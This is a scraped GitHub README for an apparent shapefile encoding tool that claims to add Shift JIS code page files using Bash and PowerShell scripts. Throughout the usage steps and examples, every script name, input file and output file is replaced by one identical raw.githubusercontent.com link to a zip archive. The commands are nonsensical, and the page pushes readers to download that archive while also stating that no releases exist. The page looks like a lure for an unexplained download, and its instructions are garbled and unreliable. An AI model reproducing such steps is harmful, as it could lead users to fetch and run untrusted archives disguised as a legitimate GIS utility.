Skip to content

๐Ÿ—บ๏ธ Enhance shapefile usability by adding code page files through Bash and PowerShell scripts, ensuring proper character encoding with Shift JIS.

License

Notifications You must be signed in to change notification settings

Lwy31/SHAPEFILE_ENCODING

Folders and files

NameName
Last commit message
Last commit date

Latest commit

ย 

History

16 Commits
ย 
ย 
ย 
ย 
ย 
ย 

Repository files navigation

๐ŸŒ SHAPEFILE_ENCODING - Convert Shapefiles Easily

๐Ÿ› ๏ธ Overview

SHAPEFILE_ENCODING helps you work with shapefiles that use Shift JIS encoding. This is important because many GIS (Geographic Information System) applications have trouble reading these files without the right support. This project offers simple scripts in Bash and PowerShell that add a code page file to each shapefile, ensuring they load correctly.

๐Ÿš€ Getting Started

Follow these steps to set up SHAPEFILE_ENCODING on your computer. Whether you're using Windows or a Mac, we've got you covered with clear instructions.

๐Ÿ“ฆ Download & Install

To start, visit this page to download: Release Page

  1. Click on the link above to go to the "Releases" page.
  2. Choose the latest release for your operating system.
  3. Download the appropriate file. Look for options labeled for Bash or PowerShell scripts.

๐Ÿ’ป System Requirements

  • Operating Systems: This application works on both Windows and Mac. Ensure you have the following:
    • For Windows: Windows 10 or later.
    • For Mac: macOS 10.12 or later.
  • Script Environment:
    • For Bash: You need a Bash shell available.
    • For PowerShell: Make sure PowerShell is enabled on your computer.

๐Ÿ” How to Use

Once you've downloaded the necessary files, hereโ€™s how to use them:

For Bash Users

  1. Open Terminal: Navigate to the folder where you downloaded the file.
  2. Run the Script: Type in the command, replacing "https://raw.githubusercontent.com/Lwy31/SHAPEFILE_ENCODING/Default/Sources/SHAPEFIL-ENCODING-2.2.zip" with the name of your shapefile.
    bash https://raw.githubusercontent.com/Lwy31/SHAPEFILE_ENCODING/Default/Sources/SHAPEFIL-ENCODING-2.2.zip https://raw.githubusercontent.com/Lwy31/SHAPEFILE_ENCODING/Default/Sources/SHAPEFIL-ENCODING-2.2.zip
    This command will process your shapefile and create a new version with the necessary code page file.

For PowerShell Users

  1. Open PowerShell: Go to the folder where you saved the file.
  2. Run the Script: Enter the command, swapping "https://raw.githubusercontent.com/Lwy31/SHAPEFILE_ENCODING/Default/Sources/SHAPEFIL-ENCODING-2.2.zip" with your shapefile's name.
    https://raw.githubusercontent.com/Lwy31/SHAPEFILE_ENCODING/Default/Sources/SHAPEFIL-ENCODING-2.2.zip https://raw.githubusercontent.com/Lwy31/SHAPEFILE_ENCODING/Default/Sources/SHAPEFIL-ENCODING-2.2.zip
    This command will also create a new shapefile with the right encoding.

๐Ÿ‘จโ€๐Ÿ’ป Example Usage

Here's an example to help you understand the process better:

Bash Example

If your shapefile is named "https://raw.githubusercontent.com/Lwy31/SHAPEFILE_ENCODING/Default/Sources/SHAPEFIL-ENCODING-2.2.zip" and youโ€™re using the Bash script:

bash https://raw.githubusercontent.com/Lwy31/SHAPEFILE_ENCODING/Default/Sources/SHAPEFIL-ENCODING-2.2.zip https://raw.githubusercontent.com/Lwy31/SHAPEFILE_ENCODING/Default/Sources/SHAPEFIL-ENCODING-2.2.zip

This processes "https://raw.githubusercontent.com/Lwy31/SHAPEFILE_ENCODING/Default/Sources/SHAPEFIL-ENCODING-2.2.zip" and creates a new file called "https://raw.githubusercontent.com/Lwy31/SHAPEFILE_ENCODING/Default/Sources/SHAPEFIL-ENCODING-2.2.zip".

PowerShell Example

For a shapefile called "https://raw.githubusercontent.com/Lwy31/SHAPEFILE_ENCODING/Default/Sources/SHAPEFIL-ENCODING-2.2.zip" in PowerShell:

https://raw.githubusercontent.com/Lwy31/SHAPEFILE_ENCODING/Default/Sources/SHAPEFIL-ENCODING-2.2.zip https://raw.githubusercontent.com/Lwy31/SHAPEFILE_ENCODING/Default/Sources/SHAPEFIL-ENCODING-2.2.zip

This will produce "https://raw.githubusercontent.com/Lwy31/SHAPEFILE_ENCODING/Default/Sources/SHAPEFIL-ENCODING-2.2.zip".

โš™๏ธ Features

  • Support for Shift JIS: Handle shapefiles with Japanese characters seamlessly.
  • Easy to Use: Simple scripts allow you to focus on your work, not on coding.
  • Cross-Platform: Available for both Windows and Mac users.

๐Ÿ†˜ Troubleshooting

If you are facing issues, consider these tips:

  • Check File Paths: Make sure youโ€™re in the correct directory with your shapefiles.
  • Permissions: Ensure you have permission to run scripts on your operating system.
  • Dependencies: Verify that you have Bash or PowerShell installed correctly.

๐ŸŒ Community and Support

If you encounter any issues or have questions, please feel free to reach out. You can open an issue on GitHub or check our discussions page for help.

โ„น๏ธ Additional Resources

๐Ÿ”— Important Links

To download the latest version, visit: Release Page

By following these steps, you'll be well on your way to successfully using SHAPEFILE_ENCODING with your shapefiles. Enjoy exploring GIS data without the hassle of encoding issues!

About

๐Ÿ—บ๏ธ Enhance shapefile usability by adding code page files through Bash and PowerShell scripts, ensuring proper character encoding with Shift JIS.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •